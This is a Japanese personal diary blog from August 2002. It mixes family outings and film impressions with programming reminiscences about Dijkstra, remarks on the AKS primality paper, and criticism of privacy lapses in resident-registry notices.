ちなみに、アオムシコバチとは、イモムシに卵を産みつけて、幼虫がイモムシの内部を食い荒らして外に飛び出してくるハチであります。エイリアンみたいなやつですね。
# 子供もエイリアン(^^;
意外と多い誕生日の一致
昼休みに、女性の I さんに付き合ってもらってプレゼント購入。
ところで、奧さまとピアノの先生の誕生日が偶然一致していますが、もちろんその様になる確率は 1/365 です。
これは良く知られていると思うのですが、40人のクラスで、同じ誕生日の人がいる確率はどうなるかと言いますと、
```
    二人選ぶ方法が (40x39)/2 で 780 通り。
    特定の二人の誕生日が一致しない確率は 1-(1/365) = 364/365
    従って、全員の誕生日が一致しない確率は (364/365)^780 = 0.1177
    従って、同じ誕生日の人がいる確率は 1-0.1177 = 0.8823 = 88.23%
```
と、思ったより大きいのであります。サラ金の利息と同じで巾乗は恐ろしいのであります。この場合巾乗と言うより、二人選ぶ組合わせが多いからかな。
それはともかくとして、どうもありがとうございます。
だめだめ藤沢市
こーんなこと言ってる。苦情のメール出したけど返事来ないし。

2002年8月19日(月)

F1
今日から会社だというのに、久々に F1 を見ました。フェラーリが強すぎてつまらないです。結局、寝た時間が 3時過ぎでした(^^;。
E.Dijkstra 氏の業績
- 構造化プログラミング
  Dijkstra 氏の最も有名な業績は、構造化プログラミングを提唱して、アジテーター的な言動でそれを広めたことが挙げられます。 1970年代といえば、一般に普及していた言語は Fortran と COBOL であり、構造化には程遠いものであり、世の中には goto 文によるスパゲッティプログラムが蔓延していました。
  ただし、一般に思われているのとは異なり、Dijkstra 氏の提唱する構造化は、単に goto 文を排除するという表面的なものではなく、「プログラムで使用する制御構造の意味論を明確にして、正当性を証明しながら組み立てる」という根本思想がありました。結果的に goto 文は意味論を明確に出来ないために排除すべきであるという主張となったわけであります。
- Guarded command と最弱事前条件
  Dijkstra 氏の提唱した「構造化」と Guarded command は切り放せない関係にあると思われます。例えば Guraded command で表現する繰り返し構造は、次の様に記述されます。
```
do
    p1 -> s1 |
    p2 -> s2 |
    ...
    pn -> sn
od
```
  ここで p1,p2,...,pn は述語であり、s1,s2,...,sn は文とします。 do ～ od の意味は、直感的には次の通りです。
  p1,p2,...,pn を並列に評価していずれかが真の場合、真である pi に対応する任意の一つの si を実行する。いずれも真でない場合繰り返しを終了する。
  真である pi が複数存在する場合、どの si が実行されるかは「気にしない」。
  Guraded command の本質を簡単に表現する使用方法としては、「3つの変数 x,y,z を整列する」という例があります。ただし、交換する作用 swap はすでに組み込まれているとします。
```
do
    x > y -> swap(x,y) |
    y > z -> swap(y,z)
od
```
  また Dijkstra 氏は、最弱事前条件という概念を導入し Guarded command の意味論を展開します。そしてこの意味論を通じて、プログラムの正当性が証明できると主張したわけです。このあたりは C.A.R.Hoare のループ不変式の考えと共通点が多いのですが、よりエレガントな表現となっています。
  現在の視点からみると、厳密性に問題があるとか、いろいろ批判ができるのですが、プログラムの正当性に関して証明が必要であると主張して、一つの解を提示した功績は極めて大きいと思います。
- その他
  良く知られているように、最短経路発見欲張りアルゴリズム、セマフォの概念の考え等、現在も良く使用されているアルゴリズムや概念を提示しました。
- Dijkstra 氏の悲劇
  上述の様に多大な業績があるのですが、 Dijkstra 氏のモデルで実際に証明を行おうとすると、本当に手間がかかり、ループの正当性に関しては、直感的に不変式を考えた方がはるかに現実的で分かりやすいと思われます。
  また、「証明」という観点からは、どうしても関数型言語による証明論に比して厳密性、エレガンスに欠ける面があるのは当然でした。
  さらに、実用性という面では Kernighan 氏、Ritchie氏などの C 言語系列の勢力に押され気味であり、特に 1985年頃から元気がなくなった様な気がします。
  それでは Dijkstra 氏の文献を勉強したのが無駄だったかと言いますと、全くそんなことはなく、現在プログラムを組んでいる場合でも、彼の本で勉強した概念や、思考方法が非常に役に立っているのであります。
# わたくし、偽の構造化である break,continue は大嫌いであり、
# 絶対に使用しないのですが goto 文は結構好きです。ループの
# 深いところでのエラーからの脱出によく使用します。
あらためて、ご冥福をお祈り致します。
break
前に、絶対に break は使わないなんて言ってたら、C 言語の switch 文はどうするんだと突っ込まれたことがありますが、えー、その場合は使用致します(^^;。
ちゅーか、あの break は言語仕様の間違いですよね。
# longjmp は好き～(^^)。

2002年8月18日(日)

Dijkstra 氏死去
知らなかったです、8月6日に亡くなられていたのですね。 Programming に関して、Wirth 先生とともに、私に最も強い影響を与えて下さいました。実を言うと Dijkstra 先生の本も、日本語に訳されたものはほとんど読んだのです。 Guarded command は非常に美しい制御構造です。ご冥福をお祈り致します。英語の訃報はこちらまたはここです。
ポケットモンスター(^^;
8時起床。9時半に1回目の上映なので、モカといっしょに奧さまに車で送ってもらい 9時に出発。
やっぱ、つまんなかったです(^^;。ゲームをアニメ化したのってダメですね。モカが喜んでたからいいけど。
映画の終りの時刻に奧さまと待ち合わせて、七里ガ浜高校の近くでスパゲッティーを食べる。ちなみに七里ガ浜高校は、ピンポンの片瀬高校と同値なのです。長女の通っている高校と近いんですけどね。その後、買い物をして帰宅。
石の写真
夜は、モカが取ってきた石の写真をとる。夏休みの自由研究用です。うーんデジカメってのは、ちゃんと本とか読んで勉強しないと、補正の方法とか分からないですね。Canon BJ S600 のおまけに付いてきた Photoshop 5.0 LE の使い方も分からないし(^^;。
明日から仕事～
ついに、休みも今日でおしまい。うーん、いつもの休みよりはゴロゴロ感が少なかったかな。Windows の再インストールもやったし、お出かけも恐竜博以外は面白かったし、思いがけず映画も 2本見たし、割と充実したお休みでした。あっ、素数の勉強までしたじゃん(^^)。
明日の朝 6時20分に起きるのがつらいですな。
ところで、デーモン君チャチャさまは FreeBSD の壁紙に最適ですね。

2002年8月17日(土)

人さまのメモリー増設
やはり、メモリーを増設されましたか。いずれ増設される様な気がしていましたが、すっごく早かったですね～(^^;。わたしの信念として、「円周率の計算と、素数の計算と、モジラ以外は、 200MHz の CPU で十分」というものがあるので、完璧なノート PC が完成ですね(^^)。ちょっとうらやましかったりします。
ところで「むにむに」という言葉は全国共通ですか。
今日と明日の予定
特にどこかに行く予定はないです。モカもお疲れの様だし、休みの最後二日はごろごろですな。朝 8時には起きたいものです(^^;。
ピンポン
と思っていたら、モカが「ポケモン」の映画に連れていって欲しいとのこと。どこで上演しているか調べていたら、藤沢オデオン座でピンポンが上映中で、監督の曽利文彦さんの舞台挨拶があるとのこと。いろいろな人の日記とかで話題になっていて興味もあったので、「ポケモン」は明日にして、今日は「ピンポン」を見に行くことに。
挨拶開始の時刻の 40分も前にいったのに、もう 30人くらい並んでいました。若い女性が多かったです。前から 4番目の席を確保。
どうして、藤沢なんて田舎町に監督さんが挨拶に来られたのかと思っていたら、湘南が舞台なんですね。曽利文彦監督、しゃべりかたはぼそぼそした感じですが、なかなかの切れ者と感じました。 ←後で奧さまに聞いたら、若い女性にすごく人気があるそうです。知らなかった。名前も初めて聞いたし(^^;。
内容は、ちょっと回想シーンが多すぎて、テンポが悪いと感じた部分もありますが、ペコちゃんの笑顔がすてきでした。特にラストのスマイルとの試合で、ラリーが永遠に続くかと思われた直後に、表彰式の写真のシーンになるのですが、その写真の笑顔が絶品でしたね。 CG に関しては、余り不自然さを感じませんでした。選手の動きの躍動感が伝わってきて良かったと思います。湘南の景色も見慣れたところが多く楽しめました。
明日はポケモン(^^;。台風が心配。
ザ・スクープ
Windows 再インストールのご利益ですな。ちゅーか、これを見たいがための再インストールですからね(^^)。

2002年8月16日(金)

Moon Song
申し込みました。8月10日に決まっていたも同然なんですけど。
ウミボタル
今日は午後から、観音崎自然博物館に行って、ウミボタル発光観察会。
14時30分にに車で家を出て、二女と三女と一緒に奧さまの運転で横須賀方面へ。16時に到着。ウミボタル発光観察会は 18時30分からなので、博物館を見学したり、食事をとったり。
海に、「豚の肝臓」(^^;を入れた瓶を仕込んで 10分くらい待っているとたくさんのウミボタルが瓶の中に入ります。
ウミボタルは 3mm 位の透明なミジンコみたいな生物。自分で光るのではなく、いじめると光る物質を口から出します。綺麗な光でした。
帰りは、久々にわたくしの運転。無事到着(^^;。
寝坊
毎日起床時間が 30分ずつ遅くなっています。困ったものですな。来週の月曜日が辛そう(^^;。
本音
昨日ニュースステーションを見ていたら、やはり住民票コードの内容が透けて見える問題が取り上げられていました。たしか、目黒区の役人かなんかが釈明をしていたのですが、
もし、住民票コードの内容が他人に分かっても、特に区民の方々のプライバシーに問題が生じることはない。
という意味のことを述べていました。いやー、いっくら本音とはいえそんなこと言って大丈夫なのかな。問題点が全く分かっていませんね。このような役人に重要なデータを任せることは、絶対に出来ないのであります。
それにしても、あの役人、今日たたかれてるだろうな。
↑聞き違いがあったらごめんなさい。
今日の朝日新聞の朝刊を読むと、藤沢市は住民票コード未発送分に対して、遮光処理を行い発送し、すでに発送した分に関しては、
市民が希望すれば、住民票コード番号の変更をすることで不安解消に努めることにした。
とのこと。もしかして、希望者は市役所へ来てくださいということなのか。そもそも、不安解消と言うが、この様なだれでも気が付きそうな不注意が、今後どんな場面でも発生しうることが、不安の原因の一つになっているのす。単に番号を変更しただけで不安が消えるわけがありません。
番号を変更した場合、今までの番号と、新しい番号の両方が使えちゃって、危険度が 2 倍になる様な気がしますね。そうしないと、頻繁に番号の変更を行う人の管理が難しくなりますからね。番号列がリスト構造になって、最後(最初)の番号が実体へのリンクになってるとか。

2002年8月15日(木)

今日も挫折～(^^;
挫折というより、さすがにモカ姫もお疲れの様なのでお休み。というわけで、一日ごろごろモード開始なのであるが、
世の中には、着々とノルマをこなしている人もいらっしゃるので、これでは余りにも情けない。
そこで、 PRIMES is in P なる、素数判定が多項式時間で可能であるという論文を、理解できるところまで読むのが今日の目標。きっと、途中で分からなくなるけど、雰囲気だけでもお伝えできればと思っています。
住基ネット通知、「番号透ける」苦情相次ぐ
やっぱりね。
多項式時間の素数判定
一通り読んでみました。細かい計算は読みとばしです。午後から、もう少し真面目に読んでみますが、次の事実が本質です。
```
任意の自然数 n に対して、n の素因数が log(n) 的な大きさであるか、
次の条件を満たす素数 r が log(n) 的な大きさの範囲に存在する。

    q を r-1 の最大素因数とする。このとき、

        q >= 4 sqrt(r) log(n)
        q は o(r,n) を割りきる。

   ここで o(r,n) は  n^k=1(mod r) を満たす最小の k。
```
(p-1) method と、確率的素数判定法を組み合わせたような証明だと思うのですが、内容的には Galois Field の初歩と、有限群論の初歩の知識があれば読めます。大学 4 年かマスター1年の代数セミナーの題材に丁度よさそうです。
素数の話になると燃えますな(^^)。
大変だ～の意図
ところで、PRIME is in P を最初に聞いたとき、「大変だ」と書きましたが、今までも、素数判定は「おしくも多項式時間で判定」のレベルまで来ていたし、確率的方法を利用すれば、実際上全く問題がない多項式時間判定が可能だったのです。「大変だ」の意図は、惜しいところまでいっても、こういう都合の良いことはめったに起らないので、個人的に驚いたという意味です。
もちろん、素因数分解が多項式時間で解けてしまったら、暗号分野はパニックですが、それも面白いかなとおもいますね。
お買い物
午後からは、昼食をかねて奧さま、二女、三女と湘南東急でお買い物。というわけで、素数の論文は進まず。大体分かったからまあいいっか(^^;。
いずれにしても、最悪の事態である、一日ごろごろモードは避けられたわけです(^^)。
新設の中高一貫校で扶桑社版採択愛媛
昨年の養護・ろう学校での採択といい、今回のまだ生徒がいない段階での採択といい、文句が出にくいところから採用を決定するところに、非常な姑息さを感じます。そもそも「意思決定の中立性を保つため」教科書審議を非公開にしたとあるが、普通は中立性を保つために公開するのではないか。
読売の社説もそうですが、第二次世界大戦における、日本が行った戦争犯罪を否定する人たちが勢力をのばしていることに、非常なる危機感を感じるのであります。

2002年8月14日(水)

神奈川県立生命の星・地球博物館と箱根強羅公園
神奈川県立生命の星・地球博物館に行ってきました。8時半頃に家をでる予定が寝坊して(^^; 9時出発。モカと奧さまと藤沢駅から JR で小田原へ。そこから、箱根登山鉄道で入生田（いりうだ）駅へ。
今日はとても楽しかったです。地球 46億年の歴史が、化石や、岩石、宇宙模型、標本等で非常に分かりやすく展示されていて、大人も子供も楽しめる内容です。神奈川県産出の生物や岩石の展示も非常に充実していました。全体的に、非常に真面目に展示内容を考えて作ったなと感じました。料金も、大人一人 500円と非常に安いです。こういう用途に税金を使うのは大歓迎であります。若いカップルも多かったですね。
ここからリンクをたどると、大体の雰囲気が分かります。
ゆっくり楽しめたので、たらたら見学して、途中でお昼も食べて、15時半頃になってしまいました。箱根強羅公園はあきらめて帰宅。帰りに、藤沢駅の近くで一人 800円のケーキを食べました。これは長女と二女にはないしょであります(^^)。
そもそも二女は、昨日、誕生日におばあちゃんからもらった五千円を落したんだか、その辺にすてちゃったのか、とにかくなくしてしまってパニックに陥っていたのを損失補填してあげたので、当分私に頭が上がらないのだ(^^)。
住民票コード付番通知
```
---------------------------------------------------------------
                住民票コード付番通知

    このハガキには、上記の方の世帯員の住民票コードが印刷さ
    れていますので、封をはがして中をご覧ください。
      今回の住民票コードの付番については、平成14年8月5日
    現在のデータで処理をしておりますので、記載内容に不明な
    点がございましたら下記までお問い合わせ下さい。

    ・問い合わせ先：藤沢市役所 市民自治部 市民窓口センター
                                  TEL  0466-55-5111(直通)
                                  (平日 8:30 ～ 17:00)
---------------------------------------------------------------
```
まだ未開封です。
封をはがさないでも、蛍光灯にすかすと簡単に内容が見えます。これでは、郵便局に届くまで、郵便の配達時、家のポストに入った後等、だれでも簡単に内容が分かります。住民票コードのみならず、家族構成、生年月日も見えます。
少し前に透けて見えるというのが新聞でも取り上げられていましたが、藤沢市はいったい何を考えているのでしょうか。単なる注意不足ではすみません。そもそも、このような、絶対に見られてはいけないデータで、注意不足でしたと言われても困るのだが。
未開封のままで、明日上記の番号に電話をしようかなと思ったが、ちょっと様子を見よう。
ニュースステーションで、久米さんが目黒区も見えると言ってますね。もしかして全国的？
可愛いな
わがままマリンも、モスキーちゃんもどっちも可愛いな(^^)。今日からしばらく draft239-s.png であります。

2002年8月13日(火)

二日目早くも挫折～
月曜から金曜までは、モカを連れてどこかに出かける予定だったのですが、モカ姫にも都合があって、今日はおいてきぼり。要するに振られましたな(^^;。
というわけで、今日はごろごろモード。昨日一日で結構疲れたので、丁度いいかも。
しまった、二日坊主にもなってないや(^^)。
「数」の日本史
姫に振られたので、朝から、奧さまが買ってきた「数」の日本史～伊達宗行著～ISBN4-532-16419-2 を読みました。
うーん、挫折(^^;。

いくら数の話とはいえ、こういう日本の歴史に関する本は無理ですね。それでも、平安時代と平成の理数科離れの共通点の話などは面白かったです。平安時代の話で、本文 102ページから引用すると、
算にはおかしみと軽蔑すら持たれた時代となった。数勘定は身分の低い、いやしき者の仕事とみなされるようになった。ねっ、今の時代と同じでしょ。算や数勘定をプログラムやプログラミングで置き換えることもできるし。
また、最後の「21世紀の数世界」の章での、現在の教育の問題点への指摘は非常に当を得ていると思います。例えば本文の 283ページの引用で(ただし3.14 は漢数字)
子供たちが宇宙に興味をしめすのも、無限の先に秘められたロマンを感じるからである。円周率も 3.14 で終りではなく、その無限数列は無限大の世界へとつながっていると教えたい。
の部分などは、わたしの感じたことと全く同じですしね。ちゃんと日本語を読める人にはとても面白い本だと思います。
たしか、少し前に、川上弘美さんが朝日新聞に書評を書かれていましたね。
マンションの下の部屋の Y さん。ピアノの練習をたくさんするのは、全然構わないんですが、ちゃんと調律しましょうね。聞いてる方もつらいし、なかなか上手なのに可愛そうですよ。

学費(^^;

合格するかどうか分かりませんが、合格すれば来年から長女も大学生となるわけです。もう、信じられないくらいお金がかかりますな(^^;。自分の学生時代を考えると、今ほどはお金かからかかったと思います。1973年(昭和48年)の生活費を思い出してみると、

項目金額コメント

塾 0円当時は塾にいくという風習があまりなかったと思います。

予備校代 0円現役で合格したので予備校にも行かず。

入学金 50,000円

検定料 5,000円 1 校しか受験してないです。

授業料 36,000円年間ですよ、年間。一月 3,000円ですね。

下宿代 16,000円三畳一間、共同風呂、２食付き。本当です。

生活費 19,000円交通費、書籍代等を含む。

毎月の仕送りが 35,000円だったのです。いくら田中角栄前の時代で、物価が安かったとはいえ、信じられないくらい楽だったですね。小さい頃から異常行動が多くて、親にはえらい苦労をかけたのですが、学費ではあんまり苦労をかけてないかな(^^;。

最初に住んだ下宿は、仙台市燕沢字五郎兵衛(つばめさわあざごろべー)なんちゅうとんでもない場所にありました。今は、青葉区、←もとい宮城野区なんていう区名がついてますね。さすがに、五郎兵衛なんていう地名はもうないのでは。

国立大学の授業料の値上げなんてとんでもない事態になっていますね。これじゃ、親にそこそこ収入がないと、本当に苦しいですね。昔は、お金が苦しくてもそこそこ勉強が得意であれば、国公立に入ってなんとかなったのですが。長女はどうせ国立には受からないので関係ないけど(^^;。

高校受験も、大学受験も、塾に通わせないと不可能な状況ですし、塾なんて夏休みだけでうん十万かかかるし、もうしにそ～。大学の授業料なんて怖くて見れないですよ～(^^;。

国民に下らない番号をつけたり、戦争の準備をしたりするひまとお金があったら、ちゃんと教育に使って欲しいものです。わざと、教育にお金をかけないんだろうけど。

「仙台市燕沢字五郎兵衛」 → 「仙台市燕沢小鶴字五郎兵衛」だったかも(^^;。

澱循環。東仙台営業所。いろいろ懐かしい言葉が出てきました(^^)。

素数判定が多項式時間
S さんからの情報。本当だったら大変だ～。素因数分解ほどじゃないけど。
ドラムの先生にノート PC を返却に行きました。

2002年8月12日(月)

納豆キムチ
奧さまが、友人から聞いて、一週間前から作ると言ってた「納豆キムチ」。納豆も、キムチも好きなんだけど～(^^;。
会社があるうちは怖くて食べれなかったのですが、休みになったので食べてみました。
美味しいです(^^;。
恐竜博 2002
今日は、恐竜博 2002に行ってきました。奧さまと、モカと、7時半出発の予定が寝坊して 8時半出発。東海道線と、京葉線を乗り継いで 11時ちょっと前に到着。こんな日に行く方が悪いんですが、人が多かったです(^^;。
内容は、骨ばっかりで、いまいちつまんなかったですね(^^;。
東海道線のホームから、京葉線のホームまで 500メートル位、海浜幕張駅から幕張メッセの会場まで 1Km 位なので、なんのかんの 4Km 位歩きましたね。運動にはなったかも。
家に帰ってきてこの日記を更新すると、会社から質問のメールが来たりする(^^;。別に構わないんだけど。
恐竜の人気の変化
恐竜という生物も、人間の勝手な好き嫌いによって、人気が変化しますね。ティラノサウルスが不動の一番人気であるのは当然として、二位以降は時代によってかなり変化していると思います。恐竜には全く詳しくないので、かなりいいかげんなことを書きますけど。
ちっちゃいときの記憶では、人気二位はブロントサウルスいう名前の恐竜だったと思うんですが。ちなみに、ブロントサウルスという名称は、学問上いろいろ問題ありということで、ちゅーか、二種類の恐竜を混ぜて骨格を復元しちゃったらしいです、現在はアパルトサウルスと呼ばれています。あと、ステゴサウルスとか、トリケラトプスとかが後を追っていたような気がします。
その後、プラキオサウルスとか、アロサウルスなんかが、激しい二位争いを演じたような気がするんですけど、全然詳しくないんでいいかげんです。
画期的だったのは、ジュラシックパークで華々しくデビューしたディノニクス君ですね。一気に堂々たる二位に踊り出たんじゃないかな。
ところで、ティラノサウルスもディノニクスも白亜紀のはずなのに、なんでジュラシックなのかよく分からないです。どうでもいいけど。
今日行ってきた恐竜博では、セイスモサウルスという恐竜を「セイモ君」とかいって、メインキャラクターにしていました。骨格模型が巨大でした。だけど、本当に複数の骨格が採集されて、学問的な認知がされているのかな。なんか、恐竜って、最近無意味に巨大化している様な気がするんだけど。
まさか、だれかが埋めて、自分で掘り返したなんてことはいっくらなんでもないですよねえ(^^;。
一度、本物の恐竜とか、巨大隕石が衝突する瞬間を見たいもんですな。
今日から、だれかさまのところをまねして、タイトル付き。
ところで、きのう牛の回りで CD をさがしていたら、封筒に入っていたままの、 Music City 5月号が出てきました(^^;。

2002年8月11日(日)

久しぶりに「まっくら森の歌」聞き直しましたが、幻想的な雰囲気、とてもいいですねえ。大昔、みんなのうたでこの曲が放送されるときは、聞き逃さないように注意していた記憶があります。
一位はなんだったのでしょうね。
適当にさぼりながら Windows Me をインストールしていたら、日にちをまたいでしまった。しかも失敗。途中で「IOS の初期化に失敗しました」と表示されて固まってしまいます。やり直しですね。
やっと入った～(^^;。
ザ・スクープが見れるようになりました。ネットスケープをダウンロードして、奧さまと二女のメール環境も整えたので一段落です。残りは、ソフトウエアのインストール。 FreeBSD ノートとの TCP/IP はやっぱりだめですね。
今回は C: ドライブしかないので、ソフトウエアーのインストールとかも気楽です。なんでもデスクトップに落しておくのも結構いいかも(^^;。
おっと、壁紙も設定しよう(^^)。
チャチャ様の壁紙を見た子供達と話をしましたが、しいねちゃんは不人気で、リーヤは人気がありますね。しいねちゃん、陰険、女好き、はげ(^^;と滅茶苦茶にいわれてますな。ばか犬リーヤは「かっこいい」そうで。
こんなことばっかやってるから、全然インストールが進まない。ちゃんとしたものから、あまり大きな声で言えないものまで、山のようにソフトがあるんです。
それはともかく、最近モカ姫ばっかり可愛がるので、二女がひがみっぽくなってしまってますな。本当は、単に勉強したくないだけなんだけどね。まあ、いつの時代も、末っ子が得するのは仕方ないですね(^^)。
19時半頃から21時半まで、町内会の盆踊り大会へ。例のごとく、モカ、奧さまと。モカ姫はゆかた～♪。前にも書きましたが、奧さま、去年は子供会の役員をやっていたので準備が大変だったのです。わたしも、おみこしかついで、身体中痛くなったし(^^;。
今年は気楽。今日の晩御飯はフランクフルトソーセージと焼きそば。
最後の福引大会で、モカ姫、一等賞の町内限定 5000円商品券を引き当てた～(^^)/。
今日は、あっちこっちで、おめでたいようですね。
上弦の月と宵の明星が綺麗でありました(^^)。

2002年8月10日(土)

昨日の午後あたりから、完全に夏ばてダウンモード。それはともかく、今日から 9 連休(^^;。
受験生をかかえていたりして、特に旅行に行くなどの予定はないのですが、一日中ごろごろしているのは避けたいですね。
さすがに、少し休みたいので、今日と明日はのんびりして、月曜から近場にモカ姫を連れていこうと思います。今日の朝は 9時までねるぞ～。
あと、自宅の牛様の Windows Me の再インストールもやらなくては。面倒くさがりだからこれは自信ないです。 Windows も落ちたりするのはそんなもんだと我慢するにしても、使っているうちにだんだんへんてこになっていくのは困りますな。レジストリーで一元管理しようとしたのが大失敗ですね。
Windows 2000 にしたいところですが、なんせ牛様のサポートがあてにならないので、ドライバー関連で苦労しそうだし、そもそもライセンスがないし、買うと高そうですしねえ。
Moon Song 申し込もうかな。休み開けまでに決めよう。
今、長女と二女が、勉強もしないで、「千と千尋の神隠し」の DVD をみてるが、どうも苦手。映画館でみたわけでないけど、魔女の宅急便までが好きです。キキとシータが好き。←女の子の好みだけですな(^^;。
宮崎監督、なんらかのメッセージを伝えたいのは分かるのですが、最近の作品は観念的すぎると思います。映画の様な芸術でなにかを表現したい場合、ストーリーの面白さは必須だと思うのです。丁度、音楽で何かを表現する場合メロディーの美しさが必須なのと同じです。もちろん、これは私の考えであり、違う意見の人もたくさんいるとは思いますが。
全く個人的な感想としては、この間テレビでやっていた「耳をすませば」が一番つまらないですね。そもそも、あのストーリーで、どうしてアニメーションにする必要があったのだろう。
わたしは、非常に面倒くさがり屋なので、何かをしようと思っても、大体実行せずに時がたってしまうのです。似たようなことを書かれていた方もいらっしゃいますが、この日記の一つの利点としては、なにかやりたいことを書いておくと引っ込みがつかなくなって、結果としてやってしまう場合が多くなるということですね。それでも、サボってしまう場合も多いんだけど。例えば 30Kbps 問題とか(^^;。
ドラムの練習にいったところ、先生がちょっと古いノートパソコンに Windows 2000(^^;をインストールしたら音がでなくなったとのこと。うーん、ドライバーがころがっていればいいんだが。家に持ち帰りて調査。 Windwos 2000 にしたのは、ビデオの録画に使いたいので 2G 以上のファイルを持ちたいからだそうです。ちなみにモデムドライバーもだめ。先生のところは、ダイアルアップなのでさぞかし困るでしょうね。前にも書きましたが、2台以上あって、片方はインターネットにつながっていないと、こういうアップグレードは不可能ですね。
音もモデムも OK となりました。この勢いで、牛の再インストールだ～。
「そっくりハウス」の内容が判明しました(^^)。「みんなのうた」コレクションですね。谷山さんを好きになったのは「みんなのうた」からなので、こういう企画はうれしいですね。
NHK「みんなのうた」歴代人気投票2位とは「まっくら森の歌」なのだろうか。それとも「恋するニワトリ」なのかな。おそらく前者だと思うけど。どちらも、同じくらい好きです。よく見たらやっぱり前者ですね。 ←両方この前苦手といった CD に入ってるんだよね(^^;。
アゲハのイモムシが入っている箱のふたが開いていて、一匹行方不明とのこと。それだけは勘弁して～(^^;。
それはともかく、奧さま、私がいつも散らかすと怒っているのに PC の中はかなり乱雑ですな。二女の乱雑さは言うまでもないですが。一通り集めたが、圧縮ソフトがない(^^;。いろいろありますなあ。
速いですねえ。完全に復活しましたな。こんなの、速いと言わないんだろうけど、まったくぜいたくなもんですな(^^)。
```
$ fetch http://toriyu.dd.que.ne.jp/~takatani/kobo-sub/png/mp56.png
994500 bytes transferred in 4.9 seconds (197.95 kBps)
```

2002年8月9日(金)

昨日は、バスが遅れて、三女横浜到着は 20時頃。一時間半待ち(^^;。
とにかく元気に帰ってきました。大量に岩石をとってきたので、鞄持ちとしてはちょっと辛かったです。奧さま、二女、三女と一緒に横浜で食事をして帰ってきました(^^)。
家についたとたん沈没いたしました。←寝ちゃったということです。
ちなみに、長女は学校の体育祭の準備でいつも遅いのです。受験生だというのに、本当に遊び学校ですな。
林真理子さんって、うさぎさんの特に一番目の属性に関しては正反対の人だと思いますけど。そういう意味では、色々な方面から利用されやすいでしょうね。あの人が書いたのって何が面白いのか全然分からないです。
# アグネスも苦手(^^;
ThinkPad でいやなものを見てしまいました。一度起動したら異様に遅いのです。なんか 486/66MHz という感じの速度。遅くても正しく動いているのが不思議。電源落して再起動したら直りましたが、悪い予感がします。どうせ壊れるなら、購入後一年目の 12月になる前に壊れて欲しいですね。
ログを見ると、メモリーが本当は 384M なのに、256M と認識していました。 2 回目はちゃんと 384M。接触が悪いのかな。いちどムニムニしてみました。
それはともかく、昔から文法なるものは割と得意でして、プログラミング言語も有名どころは少なくとも表面的には知っていると思うのですが COBOL と perl だけは挫折いたしました。あと、人が書いた正規表現は理解するのが困難であります(^^)。
そういえば、HTML も挫折に近いですね(^^;。
今日のお弁当のおかずは日本ハムのウインナー(^^;。奧さまの話によると、普通の値段のウインナーは日本ハムのが一番美味しいとのこと。
雪印にしても、日本ハムにしても、一番美味しいものをつくっている会社が不祥事をおこしますね。奥さんの説によると、そもそも国産牛肉買い取り制度自体が、悪用のために作られたのであり、どこでも同じようなことをやっているが、味がおいしいところが狙われているんじゃないかと。結構当たっていると思うのですが、それにしても、どちらの会社も、信じられないくらい事後処理が下手ですね。
特に、昔、食品関連の子会社で働いていた人間としては、子会社に責任を押しつけるのはどうかと思いますね。食品子会社の上層部というのは、親会社の天下りばかりであって、親会社に無断で何かを行うというのは非常に考えにくいのです。
不祥事を起こしやすい体質に関して言えば、食品系の会社は同族経営が多いという面はありますね。
イベントカレンダーに、「そっくりハウス」追加。
(^^; と (^^;) どっちが正統派なの？ ←どうでもいいんだけど(^_^;。
正規表現が顔文字に見えてきた(^_^;)。
光の速度は一定じゃない？豪研究者が報告。美しくないので間違いに一票。
バイオリンの女王が再婚米指揮者プレビン氏と。アンドレ・プレビン氏なかなかもてますなあ。昔、ミア・ファローと結婚していたはず。
わたしの直感結構あたってるでしょ。技術者はみんなそう思っていたんだろうけど(^^;。

2002年8月8日(木)

毎年夏ばてがひどくなりますね。ここ数日疲れがとれません。と思ってたら、涼しげで可愛いプレゼント発見。ありがとうございます(^^)。
今日から、新しい壁紙～ ♥。
ハートを入れ忘れたのが JIS コード(ISO-2022-JP)の最大の欠点かも(^^;。
今日は、モカちゃんのお帰り♪。18時30分過ぎに横浜駅の近く。 17時30分に会社を出て迎えに行く予定なのだ～(^^)/。
二女と奧さまも行くけどね。二女は、アニメ関連グッズが好きで、横浜駅の近くのアニメイトが目当てなのだ。
三匹目のイモムシがさなぎ化。あと一匹(^^;。そろそろ、最初のが羽化するかも知れない。
今働いている会社なんて、従業員が 20人もいない小さい会社で、当然福利厚生などは無いに等しいのですが、自動販売機のお茶やジュースが 50円というのは助かります。150円くらいのペットボトルジュースも 50円です。たまに佐川のおにいちゃんが勝手に飲んでいったりします(^^)。
夏になると冷たいお茶を一日 5本くらい飲みますね(^^;。
# 自動販売機はキリンの販売機で、サントリーではありません。
# サントリーなら絶対に飲まない～、と言いたいが 50円だと飲んじゃいそう(^^;。
もし、このジュースが定価になった場合は、転職を考える必要があるのでしょう。
「そっくりハウス」とはなんなのだろう(^^)。谷山さん関連の CD らしいが、ここをみても良く分からないし。
最近、biglobe のメールサーバー経由でメールを出すことも多いのですが、人間の指というのも不思議なものですね。もう、記憶力が全くなくなってしまって、メールサーバーのパスワードなど全然覚えられないのですが、何回か打っているうちに指が勝手に覚えてしまいました。ちなみに、パスワードはそこそこ頻繁に変えた方が良いらしいですが、分からなくなって痛い目にあったことが何回もあるので、暗号みたいなデフォルトのままなのです。そもそも、Evariste Galois ちゃんの kagami,root パスワードだって会社の人全員知っているし～(^^;。
```
だれか> かがみさん。かがみサーバーでこの設定して下さい。
かがみ> 面倒。root になって自分でやって。パスワードは xxxxxxx。
だれか> telnet だと root で入れません。
かがみ> kagami で入って。パスワードは root とおんなじ(^^;。
        あと、自分の ID 追加して wheel に入れといて。
だれか> わっかりました～。
```
こんな小さい会社で、他人を信用できなくなったらおしまいですからね。セキュリティー専門家が聞いたら怒るだろうな(^^)。
指が覚えると言えば、ピアノなんかもその傾向がありますね。あと、何かを本気で覚えようとしたら、紙に何回も書くのが一番効率が良いし。
奧さまよりメールがあり、アゲハのイモムシが二匹増えたとのこと(^^;。

2002年8月7日(水)

NetBSD/sh4 のプログラムを開発することが多いのですが、OS のポーティングが腐っているので苦労します。通常は NetBSD/i386 の上でクロス開発するのです。ところが、わたくし、FreeBSD マシンしか管理していないし、 NetBSD/i386 マシンは会社にたくさんあるのですが、他人が管理する UNIX マシンで作業するのは csh 系だったり、emacs でなく xemacs だったりというどうでもいい理由で嫌いなのです。やっぱり、手塩にかけて自分好みにした Evariste Galois ちゃんでないとしっくりしません。
